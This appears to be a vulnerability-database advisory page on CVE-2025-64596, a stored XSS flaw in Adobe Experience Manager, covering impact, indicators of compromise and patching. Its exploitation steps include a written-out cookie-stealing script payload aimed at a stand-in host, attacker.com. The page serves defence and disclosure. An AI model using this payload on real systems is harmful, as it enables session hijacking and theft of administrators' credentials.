CVE-2025-64596
Adobe Experience Manager vulnerability analysis and mitigation

Overview

CVE-2025-64596 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on the same date via Adobe Security Bulletin APSB25-115. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically a stored XSS variant. A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is persisted server-side and executes in the browser of any user who subsequently visits the affected page. Exploitation requires network access, low privileges, and user interaction (victim browsing to the compromised page), with a changed scope indicating the impact crosses the security boundary of the application (Adobe Advisory, Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, leading to limited confidentiality and integrity impacts such as session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. Because the scope is changed, the injected script can affect resources beyond the attacker's own session, potentially targeting higher-privileged users such as administrators. Availability is not directly impacted by this vulnerability (Adobe Advisory).

Exploitation steps

  1. Reconnaissance: Identify Adobe Experience Manager instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan/Censys searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
  2. Authenticate with low-privileged account: Obtain or register a low-privileged AEM user account (e.g., a contributor or author role).
  3. Locate vulnerable form fields: Navigate to AEM authoring interfaces or content forms that accept and persist user-supplied input without adequate sanitization.
  4. Inject stored XSS payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
  5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected payload, causing the malicious script to execute in their browser context and potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory).

Indicators of compromise

  • Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /crx/, /editor.html) containing encoded JavaScript tags (<script>, javascript:, onerror=, etc.) from low-privileged user accounts.
  • Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual data exfiltration patterns (e.g., cookie values in query strings to unknown hosts).
  • File System / Repository: Unexpected JavaScript content stored within AEM JCR (Java Content Repository) nodes, particularly in fields not intended to hold script content; review /content tree for <script> tags in text properties.
  • Process/Application: AEM error logs showing XSS filter bypass attempts or content policy violations related to script injection in form submissions.

Mitigation and workarounds

Adobe has released patches addressing CVE-2025-64596 in AEM 6.5.24.0 (on-premises) and AEM Cloud Service 2025.12.0. Administrators should upgrade to these versions immediately via the Adobe Security Bulletin APSB25-115. As a temporary workaround, restrict authoring access to trusted users only and enforce AEM's built-in XSS protection filters and content security policies. Use Tenable Nessus plugin 278346 to scan for vulnerable instances (Adobe Advisory, Tenable).

Community reactions

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including this XSS issue, recommending prompt patching (CIS Advisory). No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64596 has been identified beyond standard vulnerability aggregator coverage.

Additional resources


SourceThis report was generated using AI

Related Adobe Experience Manager vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-48359CRITICAL9.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48310HIGH8.6
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48355MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48263MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026
CVE-2026-48262MEDIUM5.4
  • Adobe Experience Manager logoAdobe Experience Manager
  • cpe:2.3:a:adobe:experience_manager
NoYesJul 14, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management